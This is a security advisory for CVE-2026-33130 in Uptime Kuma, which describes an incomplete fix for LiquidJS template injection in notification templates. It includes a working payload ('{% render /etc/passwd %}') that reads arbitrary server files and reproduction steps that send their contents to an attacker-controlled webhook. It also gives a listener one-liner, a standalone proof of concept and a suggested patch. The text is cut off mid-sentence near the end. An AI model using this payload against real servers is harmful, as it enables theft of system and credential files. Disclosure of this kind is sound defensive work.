GHSA-v832-4r73-wx5j / CVE-2026-33130: Another Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read
- Published:
- Fetched:
- Updated:
- Affects:
- louislam uptime-kuma
https://github.com/louislam/uptime-kuma/security/advisories/GHSA-v832-4r73-wx5j ↗
Another Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read # Incomplete fix for GHSA-vffh-c9pq-4crh **Version:** 2.1.3, LiquidJS 10.24.0 **Related:** GHSA-vffh-c9pq-4crh (marked patched in 2.0.0) ## What's happening The fix from GHSA-vffh-c9pq-4crh doesn't fully work. The three mitigations added to the Liquid engine (`root`, `relativeReference`, `dynamicPartials`) only block quoted paths. If you use an unquoted absolute path, you can still read any file on the server: ``` {% render /etc/passwd %} ``` I reproduced this end-to-end on 2.1.3 and still got the full `/etc/passwd` contents sent to a webhook endpoint. ## Why the current fix doesn't work The mitigations in `notification-provider.js` are: ```javascript const engine = new Liquid({ root: "./no-such-directory-uptime-kuma", relativeReference: false, dynamicPartials: false, }); ``` These only protect the first two steps of LiquidJS's file resolution. There's a third step, a `require.resolve()` fallback at `liquid.node.js:2793-2796`, that has **no containment check at all**: ```javascript // liquid.node.js line 2793-2796 if (fs.fallback !== undefined) { const filepath = fs.fallback(file); // calls require.resolve(), no contains() check if (filepath !== undefined) yield filepath; } ``` The reason quoted paths are blocked is just a quirk: `readFileNameTemplate()` keeps the literal quote characters, so `require.resolve('"/etc/passwd"')` fails with `MODULE_NOT_FOUND`. Without quotes, `require.resolve('/etc/passwd')` happily returns the real path. ## Who can exploit this Any authenticated user since there's no RBAC in Uptime Kuma. The notification handlers only call `checkLogin(socket)`, so any compromised login can set up a malicious template. ## Steps to reproduce 1. Log in to Uptime Kuma 2. Go to any monitor → Edit → Set Up Notification 3. Pick **Webhook**, set Post URL to an endpoint you control 4. Change Request Body to **Custom Body** 5. Enter: `{% render /etc/passwd %}` 6. Click **Test** 7. Check your listener > the full file contents are in the request body Works with `{% include /etc/passwd %}` too. Any file readable by the Node process is fair game. For a quick listener to catch the output: ```bash node -e "require('http').createServer((req,res)=>{let b='';req.on('data',c=>b+=c);req.on('end',()=>{console.log(b);res.end('ok')})}).listen(9999)" ``` ## Standalone PoC (no running instance needed) ```javascript const { Liquid } = require("liquidjs"); const engine = new Liquid({ root: "./no-such-directory-uptime-kuma", relativeReference: false, dynamicPartials: false, }); engine.render(engine.parse("{% render /etc/passwd %}"), {}).then(console.log); ``` ## Suggested fix Remove the file-inclusion tags from the engine. Notification templates shouldn't need them: ```javascript const engine = new Liquid({ ... }); delete engine.tags["render"]; delete engine.tags["include"]; delete engine.tags["layout"]; ``` This b Affected packages: :uptime-kuma Patched: uptime-kuma 2.2.1